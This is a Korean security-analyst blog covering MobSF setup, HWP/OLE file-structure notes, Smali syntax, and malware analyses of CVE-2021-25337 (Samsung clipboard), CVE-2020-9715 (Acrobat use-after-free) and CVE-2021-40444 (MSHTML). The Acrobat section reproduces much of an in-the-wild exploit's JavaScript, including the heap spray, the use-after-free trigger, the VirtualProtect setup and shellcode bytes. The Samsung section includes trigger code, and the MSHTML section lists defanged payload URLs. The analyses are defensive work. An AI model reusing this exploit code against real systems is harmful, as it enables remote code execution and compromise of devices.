Friday, September 22, 2023

MobSF

MobSF는 오픈소스 모바일 앱 자동 보안 진단 프레임워크로 자동 분석 시스템 구축할 때 사용한다. 정정 및 동적 분석이 가능하며, Android, iOS, Windows에 대해 침투 테스트, 멀웨어 분석 및 보안 평가를 할 수 있다.

참고자료

필수 설치 소프트웨어

Mac

  • Git 설치

  • Python 3.8-3.9 설치

  • /Applications/Python 3.8/ 이동한 다음 Update Shell Profile.commandInstall Certificates.command 명령 실행

  • JDK 8+ 설치

  • xcode-select –install 명령창 실행

  • wiki instructions에 따라 wkhtmltopdf 다운로드 및 설치

  • Windows 앱 정적 분석에는 Windows 호스트 또는 Mac 및 Linux용 Windows VM이 필요

  • More Info

Linux

  • Git 설치 (sudo apt-get install git)

  • Python 3.8-3.9 설치 (sudo apt-get install python3.8)

  • JDK 8+ 설치 (sudo apt-get install openjdk-8-jdk)

  • 다음 명령으로 설치

    sudo apt install python3-dev python3-venv python3-pip build-essential libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg8-dev zlib1g-dev wkhtmltopdf
  • Windows 앱 정적 분석에는 Windows 호스트 또는 Mac 및 Linux용 Windows VM이 필요

  • More Info

Windows

설치

Linux/Mac

git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git cd Mobile-Security-Framework-MobSF ./setup.sh

Windows

git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git cd Mobile-Security-Framework-MobSF setup.bat

결과화면(Windows)

[그림 1] Windows 설치 완료 화면

실행

MobSF 가상의 커맨드 창에 다음의 명령을 입력한다.

run.bat 127.0.0.1:8000

그리고 브라우저에 http://localhost:8000으로 연결한다.

[그림 2] cmd 화면

[그림 3] 브라우저 화면

분석

  • 테스트 샘플 정보 : 354C3A2D24B64430926A102189C874ED

MD5로 분석이 불가능하여 샘플 업로드해야 분석 가능

[그림 4] 결과 화면

확인되는 정보

  • FILE INFORMATION (파일 이름 및 해시값)

  • APP INFORMATION (앱 이름, 패키지이름,SDK 버전 정보 등)

  • SIGNER CERTIFICATE

  • APPLICATION PERMISSIONS

  • ANDROID API

  • BROWSABLE ACTIVITIES

  • NETWORK SECURITY

  • CERTIFICATE ANALYSIS

  • MANIFEST ANALYSIS

  • SHARED LIBRARY BINARY ANALYSIS

  • NIAP ANALYSIS v1.3

  • FILE ANALYSIS

  • APKiD ANALYSIS

  • QUARK ANALYSIS

  • SERVER LOCATIONS

  • DOMAIN MALWARE CHECK

  • URLS

  • FIREBASE DATABASE

  • EMAILS

  • TRACKERS

  • STRINGS

  • POSSIBLE HARDCODED SECRETS

  • ACTIVITIES

  • SERVICES

  • RECEIVERS

  • PROVIDERS

  • LIBRARIES

  • FILES

PERMISSIONS

AndroidManifest.xml 에 선언된 권한 중에서 애플리케이션에서 필요한 권한을 정의하는 uses-permission에 대해서만 확인할 수 있다.

[그림 5] Permission 결과

ANDROID API

Mitre의 tatics와 같이, 행위를 나타내는 API로 동작 플로우에 따라 실행하는 코드를 볼 수 있다.

[그림 6] API 결과


https://medium.com/@HirushanTech/static-analysis-and-dynamic-analysis-over-android-package-file-apk-6721830cb155

vb analysis tip

Visual Basic 샘플 분석하다가 자주 나온 api 


rtcMakeDir(arg) : 디렉토리 만들기
_vbaStrMove(arg1, arg2, arg3): arg1에 arg2를 이동


_vbaVarCat(arg1, arg2, arg3) : arg1에 arg2를 연결하여 eax에 저장
rtcShell : 쉘 실행


__vbaFileOpen : 대상 파일 Open
__vbaPutOwner3 : 쓰기 권한 획득 (추정)
__vbaPut3 : 대상 파일에 쓰기
rtcFileLen: 파일의 길이 획득



Thursday, September 21, 2023

hwp structure

HWP 파일 구분


Magic

파일의 시작 부분에 0xD0CF11E0A1B11AE1로 한글 문서임을 확인한다.

Sector Shift (BBAT)

한 섹터의 크기를 나타내며, 0x09를 기본 값으로 두고 있다. 이 값은 2^n으로 계산되어 한 섹터의 크기가 512 바이트임을 뜻한다.

Small Sector Shiff (SBAT)

SBAT의 크기를 나타내며, 0x06을 기본 값으로 두고 있다. 이 값은 Sector Shift와 같이 2의 승수로 계산되며 0x06인 경우 64 바이트를 크기로 두고 있다.

Count of BBAT Depot

4바이트 기준의 BBAT의 개수를 나타내며 109개 이상일 경우, Extra BBAT를 확인하여야한다.

Root Sector ID

Root Entry의 시작 번호로, 해당 섹터의 위치 계산법은 다음과 같다. Header부분의 크기를 제외하기 위해 Header 크기를 더해주고, Root Sector ID에 BBAT 크기를 곱한다.

Root Sector ID * BBAT Size + Header

Extended BBAT ID

BBAT의 개수가 109개가 넘어, 확장된 BBAT의 섹터 ID를 나타낸다.

Extended BBAT Count

확장된 BBAT의 수를 나타내며 109개 이후에 추가된 수를 뜻한다.

BBAT Depot

109개의 Sector ID가 저장될 수 있으며, 4바이트씩 Sector ID를 가지고 있다. 위의 예시로 보면, 1개의 BBAT가 있으며 해당 Sector ID는 0x03이다. 위의 Root Sector ID에서와 같이 계산하여 Offset을 찾을 수 있다.

(BBAT Sector ID +1)* 200

Root Entry


Root Sector ID을 통해 Root Entry로 이동하면 위의 그림과 같이 볼 수 있다. Root Entry는 SBAT 크기를 기준으로 0x80(64바이트) 크기이다.

Entry Name

Entry의 시작 부분 0x40 크기는 이름이 있다. 모든 Sector에 대한 이름이 존재한다.

Name Length

Sector 이름의 길이를 2바이트로 표시한다.

Type

해당 Sector 데이터 타입을 나타낸다

  • 0: Empty

    1: Storage

    2: Stream

    3: LockBytes

    4: Property

    5: Root

ID

Entry 의 ID 정보로 앞서 보였던 연산과 같은 방식으로 진행하면 해당 Sector의 offset으로 이동할 수 있다.

Size

해당 Entry의 데이터 크기를 나타낸다.

SBAT Sector ID로 압축 데이터 찾기

  1. 연산으로 Entry 및 Stream 구하기

Header에서 Sector ID가 저장되어있는 BBAT Depot을 모아 Root Entry Chain을 만든다. 위를 예시로 보면 하늘색 상자에 하늘색 실선을 보면, BBAT에서 Sector ID가 0x03으로 나타낸다. Sector Shift인 BBAT 크기를 획득하여 ID + 1( Header) + 0x200 = 0x800 offset으로 이동한다. 만약 BBAT에서 Sector ID가 더 있다면 ID를 이어서 추가해야한다. RootEntry 에서 ID를 시작점으로 두며, ID는 4바이트씩 읽으며, 0부터 카운트 한다. 그래서 7Entry는 0x08을 가르키고, 8Entry는 0x90을 가르킨다. Chain의 끝을 나타내는 0xFFFFFFFE 가 나오면 끝이 난다. 위에서 굵은 글자로 표시된 것이 Root Entry Chain이다.


이 Chain을 기반으로 각 Storage와 Stream의 데이터를 찾을 수 있다. 먼저, 일례로 DocInfo Stream의 정보를 찾을 수 있다.

DocInfo 정보가 있는 SBAT 에서 ID를 나타내는 0x0000001F를 가지고 해당 데이터의 위치를 구할 수 있다. 1F를 31로 변환하여 8로 나누면 3의 몫과 나머지 7이 나온다. 몫의 값이 3으로 Root Entry Chain 에서 3번째(0부터) Entry 값인 10을 구하고, 나머지를 가지고 다음의 연산을 한다. 해당 연산의 값을 따라가면 압축된 데이터를 확인할 수 있다.

(몫+1)*Sector Shift + 나머지*Small Sector Shiff

  1. TagID로 데이터 영역 찾기

DocInfo를 zlib 압축해제하면 파일의 첫번째 바이트에서 HWPTAG_BEGIN 값을 구할수 있다. 한글문서파일 형식 5.0 보고서에 따르면 해당 값은 0x10으로 고정되어있는 것으로 보여진다. HWPTAG_BEGIN값을 기준으로 TagID를 찾을 수 있다.


위의 표와 같이 TagID에 따라 HWPTAG_BEGIN에 특정 정수를 더한다.


데이터 레코드의 스트림은 [TagID][Level][Size][Data] 구조를 가지고 있다. 위의 예시에서는 HWPTAG_CTRL_HEADER 의 TagID를 가지고 있으며, TagID 부터 포함하는 데이터 크기를 표현하였다. 그리고 하이퍼링크데이터는 일반적으로 [URL];[Type];[Option];[Option]; 구조이다. 뒤에 두 옵션 값에 다른 값을 대입하여도 하이퍼링크 동작에는 문제가 없다.


위의 데이터는 원 도형에 하이퍼링크를 입력한 경우로, 앞선 예시와 TagID에 차이가 있다.

그리고, 앞선 예시와는 다르게 klh% 문자열이 존재하지 않는다.


참고 자료

zlib — gzip 과 호환되는 압축 — Python 3.11.2 문서

olefile/olefile.py at 5ae06e937cd18afebfb49239e8f20b099605136f · decalage2/olefile · GitHub

OLE 파일 구조 분석 (1)

OLE 파일 구조 분석 (3)

OLE 파일 구조 분석 (2)

HWP 5.X파일의 구조.

한글문서파일형식_5.0_revision1.3.pdf


CVE-2021-25337 (Android)

Samsung 모바일 장치에는 신뢰할 수 없는 응용 프로그램이 임의의 파일을 읽거나 쓸 수 있도록 하는 클립보드 서비스에 부적절한 액세스 제어 취약점이 포함되어 있습니다. 이 취약점은 CVE-2021-25369 및 CVE-2021-25370과 연결되어 있습니다.

정보

Samsung Mobile Devices 부적절한 접근 제어 취약점

  • 추가된 날짜: 2022년 11월 8일

  • 마감일: 2022년 11월 29일

CVSS 3.x 심각도 및 지표

  • NIST: NVD

    • 기본 점수: 7.1 높음

    • 벡터: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

  • CNA: 삼성 모바일

    • 기본 점수: 4.4 중간

    • 벡터: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

취약점 공격 과정

  1. 삼성의 Clipboard에 insert() 메소드에 액세스 제어 취약점을 활용하여 시스템 서버 권한을 획득하고 data 및 system 파일 경로에 접근한다.

SELinux system server Context에서 시스템 사용자가 실행하는 삼성의 시스템 서버 내부에는 Clipboard 및 wifi, Timezone dectector 서비스 등이 있다. 시스템 서버에서 실행되는 Clipboard Content Provider는 com.android.server.semclipboard.SemClipboardProviderClass에서 확인할 수 있다.

해당 클래스의 변수는 아래와 같다. ClipboardImageTable 은 테이블에 대해id_data 두 열을 정의하는데 _data는 Android Content Provider에서 openFileHelper메소드를 실행할 때 파일의 경로를 나타낸다.

DATABASE_NAME = ‘clipboardimage.db’ TABLE_NAME = ‘ClipboardImageTable’ URL = ‘content://com.sec.android.semclipboardprovider/images’ CREATE_TABLE = " CREATE TABLE ClipboardImageTable (id INTEGER PRIMARY KEY AUTOINCREMENT, _data TEXT NOT NULL);";

com.android.server.semclipboard.SemClipboardProviderinsert()method의 취약점을 통해서 첫번째 트리거가 발생한다. insert()에는 액세스 제어에 포함되지 않아 untrusted_app SELinux Context를 포함한 모든 앱은 _data 열을 수정할 수 있다.

SELinux의 TE(Type Enforecement) 컴포넌트는 프로세스, 앱, 서비스 등에 대해 타입 및 속성으로 구분한다. SELinux의 버전 등에 따라 업데이트될 수 있지만 대체적으로 untrusted_app은 애플리케이션의 타입이다.

public Uri insert(Uri uri, ContentValues values) { long row = this.database.insert(TABLE_NAME, "", values); if (row > 0) { Uri newUri = ContentUris.withAppendedId(CONTENT_URI, row); getContext().getContentResolver().notifyChange(newUri, null); return newUri; } throw new SQLException("Fail to add a new record into " + uri); }

아래의 코드로 취약점을 트리거한다. ContentValues object를 생성하여 key-value 쌍을 생성한다. key에는 _data로 설정하여 익스플로잇되면 임의의 파일 경로인 "/data/system/users/0/newFile.bin" 파일 경로로 설정되도록 한다. 그리고 uri는 semclipboardprovider의 uri로 설정하고 Context Provider에 액세스할 수 있도록 object를 생성한다. 그리고 openFileDescriptorOpenFile을 호출하고 최종적으로 openFileHelper를 호출한다. untrusted_app은 users_system_data_file에 접근 권한이 없어 system server를 통해 열어야한다. 그래서 Clipboard Content Provider가 열고 fd(getFd())를 호출 프로세스에 전달해서 호출프로세스로 접근한다.

ContentValues vals = new ContentValues(); vals.put("_data", "/data/system/users/0/newFile.bin"); URI semclipboard_uri = URI.parse("content://com.sec.android.semclipboardprovider") ContentResolver resolver = getContentResolver(); URI newFile_uri = resolver.insert(semclipboard_uri, vals); return resolver.openFileDescriptor(newFile_uri, "w").getFd();
  1. Samsung의 TTS(Text to Speech)앱으로 파일을 로드한다.

삼성의 기본 제공앱인 Samsung TTS 앱(com.samsung.SMT)는 systme_app SELinux Context로 실행된다. 그리고 설정파일에 엔진의 기본 파일 경로가 저장되어있다. 서비스가 시작되면 system.load()가 실행되어 설정된 파일 경로가 로드된다. 기본 앱 설정 파일은 /data/user_de/0/com.samsung.SMT/shared_prefs/SamsungTTSSettings.xml또는 /data/data/com.samsung.SMT/shared_prefs/SamsungTTSSettings.xml에 있다. 1번 익스플로잇과 이어서 아래의 코드와 같이 설정 파일 내용을 쓴다.

<?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <string name=\"eng-USA-Variant Info\">f00</string>\n" <string name=\"SMT_STUBCHECK_STATUS\">STUB_SUCCESS</string>\n" <string name=\"SMT_LATEST_INSTALLED_ENGINE_PATH\">/data/system/users/0/newFile.bin</string>\n" </map>

익스플로잇 샘플은 2020년 11월부터 확인되며, SamsunTTS 앱의 버전이 3.0.04.14 이전에 임의 로드 기능이 포함되어있따. 그리고 android 10(Q) 이전의 버전이 samsunTTS 버전 3.0.04.14 이전인 것으로 전해진다.

출처

Project Zero: A Very Powerful Clipboard: Analysis of a Samsung in-the-wild exploit chain

CVE-2020-9715

Details

Adobe Acrobat 및 Reader 버전 2020.009.20074 이하, 2020.001.30002, 2017.011.30171 이하, 2015.006.30523 이하에는 use-after-free 취약점이 있다. 악용이 성공하면 임의 코드가 실행될 수 있다.

CVSS 3.x Severity and Metrics

  • NIST: NVD

  • 기본 점수: 7.8 높음

  • 벡터: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-After-Free

JavaScript 기반의 공격으로 해제된 메모리 영역에 다시 할당하여 재사용 함으로써 생기는 문제이다. 프로그램을 충돌하게 만들고 취약한 프로그램에서 임의의 코드 실행해 악의적인 행위를 수행한다.

Analsys

Adobe Acrobat Reader는 SpiderMonkey를 기반으로 하는 JavaScript Engine이 있으며, EScript.api 모듈을 통해 PDF의 JavaScript 코드가 처리된다.

JavaScript Engine은 ESObjectsJSObjects 등의 Object를 사용한다. ESCript.api 내부에ESObjects가 있고, 그 중 data ESObjects는 파일 및 데이터 스트림을 나타내는 Object type이다. data ESObjects는 아래의 key로 식별된다.

  • PPDoc Pointer

  • ESObject Name

PPDoc는 PDF 문서를 나타내는 개체이고, ESObject Name은 파일 이름을 ANI 또는 UNICODE로 인코딩한 문자열이다.

  1. Insert and Delete data object in Cache

PDF 문서에 원래 인코딩된 타입을 기준으로 해당 문자열은 인코딩된다. data ESObjects는 캐시에 저장되고 포인터 값을 반한받는다. 그리고 새로운 data ESobjects를 추가하고자 할 때 이름을 기준으로 캐시에 검색하여 동일하면 포인터를 반납하고, 없으면 새로운 data ESObjects가 생성되어 캐시에 추가된다.

data ESobjects가 삭제될 때 UNICODE로 인코딩한 이름을 추적하여 삭제하되기에 취약점이 발생한다. ANSI로 인코딩한 data ESObjects를 Cache에서 삭제하면, UNICODE로 검색하기에 정상적으로 삭제되지 않고 포인터가 유지된다.

  1. Try to insert new data Object in Cache

그래서 삭제하였던 것과 동일한 이름의 새로운 data ESObjects를 생성하려고 하면 이전의 포인터를 반환한다.


Exploit

예제 샘플 정보는 다음과 같다.

  • MD5: 70294AC8B61BFB936334BCB6E6E8CC50

  • 파일 명: 제4기AMP 안내자료.pdf

위의 PDF에서 아래의 그림과 같이 스트림에 숨어있는 Java Script를 추출한다.


추출한 스크립트 중 일부이다. Base64로 난독화되어있다.

  • MD5: A269D2E34637F1D31CAC8E458D1F0657



디코딩하면 JS로 나타난다. 해당 스크립트를 기준으로 익스플로잇 코드를 볼 예정이다.

  • MD5: 7B478365564D665B06090DACA6ABC917


1. ArrayBuffer Spray

Heap Spray 기술인 프로세스 내에 큰 사이즈의 메모리를 할당하고 그 곳에 익스플로잇을 한다. 먼저, ArrayBuffer를 통해 제어할 수 있는 메모리 영역을 할당한다. 그리고 DataView객체를 사용하여 할당된 메모리를 읽고 쓴다. 이때, 할당되는 메모리는 Heap memory로 힙 세그먼트의 크기인 0x10000바이트와 동일한 크기를 가져야한다. 그리고 ArrayBuffer의 Metadata(0x10)와 Heap Chunk 크기(0x8)를 고려해야한다. 그래서 Heap Spray를 통해 할당받은ArrayBuffer 객체의 크기는 0xFFE8 바이트이다.


아래 코드는 JavaScript 중 일부로 힙스프레이를 통해 메모리 영역을 생성하는 코드이다. setUint32는 Array 객체를 생성할 때 내부 구조를 만들기 위해서 사용되는 것으로 전해진다.

var m = new Array(0x3000); var m1= new Array(0x1000); for(var i = 0; i < 0x1000; i++){ m1[i] = new ArrayBuffer(0x100); var dv1 = new DataView(m1[i]); dv1.setUint32(0,0x41424241,true); dv1.setUint32(4,0xffffff81,true); } for(var i = 0; i < 0x3000; i++){ m[i] = new ArrayBuffer(0xffe8); var dv = new DataView(m[i]); dv.setUint32(0,0x41424241,true); dv.setUint32(4,0xffffff81,true); dv.setUint32(0x2FD8,0x30303060,true); dv.setUint32(0x2FD8+4,0x30303100,true); dv.setUint32(0x2FD8+0xC,0x30303830,true); dv.setUint32(0x2FD8+0x24,0x10000,true); dv.setUint32(0x2FD8+0x30,0x30303090,true); dv.setUint32(0x2FD8+0x60,0x303030C0,true); dv.setUint32(0x2FD8+0x6C,0x30303200,true); dv.setUint32(0x2FD8+0x70,0x1000,true); dv.setUint32(0x2FD8+0x1E9,1,true); dv.setUint32(0x2FD8+0xD0,0x30303130,true); dv.setUint32(0x2FD8+0x800-0xC,0x10000,true); dv.setUint32(0x2FD8+0x800-0x8,8,true); dv.setUint32(0x2FD8+0x800-0x4,0x10000,true); }

2. ESObject 생성 및 해제

dataObjects를 생성하고 캐시에 추가한 다음 삭제한다.

var fi_a = new Array(0x100); var ba = new Array(0x300); function p() { for(var i = 0; i < 0x80; i++){ fi_a[i] = this.addField("Field_" + i,"text",0,[0,800,55,850]); } for(var i = 0; i < 0x80; i++){ this.removeField("Field_" + i); } for(var i = 0; i < 0x300; i++){ ba[i] = unescape("%u9584%u9584%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9648%u9648%u9648"); if(i == 0x250) this.dataObjects[0].toString(); } for(var i = 0; i < 0x300; i ++){ delete ba[i]; ba[i] = null; } this.dataObjects[0] = null; g_timeout = app.setTimeOut("U()",10000); }

3. DataObject에 읽기 및 쓰기

8줄에서 보는 것과 같이 해제된 ESObject 자리에 가짜 Array 객체에 대한 핸들을 획득한다. 추가적으로 VirtualProtect를 호출하여 실행할 수 있는 영역 권한을 변형한다.

function U() { for(var i = 0; i < 0x5000; i++){ fh[i] = unescape("%u5050%u2020%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030"); } var cXMLDoc = "<family name = 'Robat'>\ <mom id = 'm3' name = 'Mary' gender='F'>\ <spouse> m2 </spouse>\ <personal>\ <income>25000</income>\ </personal>\ </mom>\ </family>"; var m_X= XMLData.parse( cXMLDoc, false); var a = XMLData.applyXPath(m_X, "//family/mom"); fr = this.dataObjects[0]; this.createDataObject("abname","qwer"); var bChged = false; for(var i = 1; i < 0x100000; i++){ if (fr[i] == 0x41424241) { //ABBA fr[i-2] = 0; mf = this.addField("FieldField","text",0,[0,0,10,10]); fr[i+1] = mf; fr[i+2] = this.getDataObject("abname"); fr[i+3] = hbf; fr[i+4] = a; bd = 0x30303830 + i * 8; bChged = true; var temp = new Array(0x1000); for (var j = 0x1000; j >= 0; j--) { temp[j] = new Array(0x100); } for (var j = i - 0x10; j >= 2; j--) { fr[j] = new ArrayBuffer(0x1000); } } ra = new Uint32Array(0x100); fr[1] = ra; break; } } if (bChged) { SB(); FA(); F(); Findxmlfuncar(); var tR = G(); var opCodes = new Uint8Array([0x94,0xC3]); var oCA = SO(tR[0],tR[1],opCodes); var f_dr = GFA(tR[2],tR[3],"Kernel32.dll","VirtualProtect"); var frontvftable = aD(ar-4); var shellcdear = aD(bd+0x18); shellcdear = aD(shellcdear+0xc); var eAbf = new DataView(b,0x8000,0x1100); for(i = 0; i<0x300 ; i++){ eAbf.setUint32(i*4,aD(xfuncar+i*4),true); } eAbf.setUint32(9 * 4,oCA,true); eAbf.setUint32(0,f_dr,true); eAbf.setUint32(4,shellcdear,true); eAbf.setUint32(0x8,shellcdear,true); eAbf.setUint32(0xC,0x1000,true); eAbf.setUint32(0x10,0x40,true); eAbf.setUint32(0x14,0x30303020,true); eAbf.setUint32(0x1000,xa,true); eAbf.setUint32(0x1004,xfuncar,true); VT(); a.saveXML('pretty'); } var dv2 = new DataView(m[fI-1]); for(k = 0 ; k <8 ; k++ ){ var o = dv2.getUint8(k*4+3); o = (o << 8) + dv2.getUint8(k*4+2); o = (o << 8) + dv2.getUint8(k*4+1); o = (o << 8) + dv2.getUint8(k*4); dv2.setUint32((3062+k)*4, o,true); } }

쉘코드가 작성된다.

var s=new Uint32Array([0xEC8B5560, 0x000017E8, 0x8B615D00, 0x0CE883C5, 0x9058B894, 0x088B3031, 0x8904408B, 0x2460FF01, 0x81EC8B55,// 축약 var hbf = new ArrayBuffer(0x25000); var dvb = new DataView(hbf); var len = s.length; for(var j = 0; j < len; j++){ dvb.setUint32(j * 4,s[j],true); } g_timeout = app.setTimeOut("p();",3500);

진단 및 치료

아래의 경우를 진단하도록 한다.

  • Kernel32.dll을 로드하여 virtualProtect를 실행하는 경우
  • 0x10000 크기의 메모리에 영역을 할당하는 경우

CVE-2021-40444

Infos

  • CVE-2021-40444

  • Microsoft MSHTML 원격 코드 실행 취약점

  • 특수하게 조작된 Microsoft Office 문서를 사용하여 이 취약점을 악용하려는 표적 공격
  • CVSS:3.0 8.8 / 7.9
  • 출시: 2021년 9월 7일

공격 흐름도


분석

문서

문서 파일에서 리소스에 대한 정보가 저장되어있는 'document.xml.rels' 파일에 원격지 주소가 저장되어있다. docx 문서의 모든 파일은 xml 파일이므로 해당 파일에 외부객체를 주입하면 매크로 없이 외부 객체를 실행할 수 있다. 아래의 그림과 같이 'Target'에 원격지 주소가 있고, TargetMode에 'External'로 외부 객체로 실행하도록 선언되어있다. 해당 주소는 현시점에 연결되지 않으며, 분석자료 및 주소를 기반으로 html 파일을 로드하는 것으로 확인된다.

  • 원격지 주소 1= http[:]//hidusi.com/e8c76295a5f9acb7/side.html


HTML

     | 현시점에는 문서파일의 원격지와 연결되지 않아 HTML 샘플을 따로 수집함

아래의 그림과 같이, HTML 코드는 난독화 되어있다.

    

위의 난독화를 해제하면 다음과 같다. HTML 파일에서ActiveXObject를 사용하여 원격지에 연결하고, "%Temp%/Low/championship.inf"파일을 다운로드 한다.

  • 원격지 주소 2= http[:]//hidusi.com/e8c76295a5f9acb7/ministry.cab


CAB

수집한 ministry.cab 파일내부에는 'championship.inf' 파일이 존재한다.


INF(=DLL)

'championship.inf'는ShellCode로 동작하는 'Cobalt Strike Beacon'으로 알려진다. 검색하여 아래 점선의 상자에 3개의 파일 중 랜덤하게 한 파일에 인젝션을 한다. 해당 파일이 실행중일 때 접근하여 인젝션한다.



그리고 원격지와 연결을 시도한다. 현시점에는 연결되지 않는다.



원격지와 연결하여 추가적인 동작이 이루어지는 것으로 추정된다.



진단 방안

  • MS HTML에서 Active X 객체를 통해 원격지에 접근

    • ActiveX 서비스 중단

참고자료


Sunday, February 5, 2023

Smali Structure

 Smali Syntax – Types

.method private doSomething()V
  • V void

  • Z boolean

  • B byte

  • S short

  • C char

  • F float

  • I int

  • J long

  • D double

  • [ array

Smali Syntax – Classes

Lcom/example/myapp/MyClass;
  • full name space slash separated

  • prefixed with L

  • suffixed with ;

StringBuilder sb = new StringBuilder(“str”)

---->

new-instance v1, Ljava/lang/StringBuilder;
const-string v2,“str"

invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

Smali Syntax – Methods

method private delayedAnimationFrame(J)Z
    .registers 8
    .parameter "currentTime”
  • private : keyword

  • delayedAnimationFrame: method name

  • (J) Z: parameters/return

Smali Syntax – Registers

  • .locals : # registers of a method without parameters

  • #parameters -> # input parameters + (p0: this reference)

v0 - local 0 p0 - parameter 0 (this) p1 - parameter 1

Smali Syntax – Opcodes

Smali Syntax – Opcodes

  • invoke-super vx, vy, …

  • new-instance vx

  • invoke-direct vx, vy, …

  • const-string vx

  • invoke-virtual vx, vy, …

  • return-void



List

MobSF

MobSF는 오픈소스 모바일 앱 자동 보안 진단 프레임워크로 자동 분석 시스템 구축할 때 사용한다. 정정 및 동적 분석이 가능하며, Android, iOS, Windows에 대해 침투 테스트, 멀웨어 분석 및 보안 평가를 할 수 있다. 참고자료 필...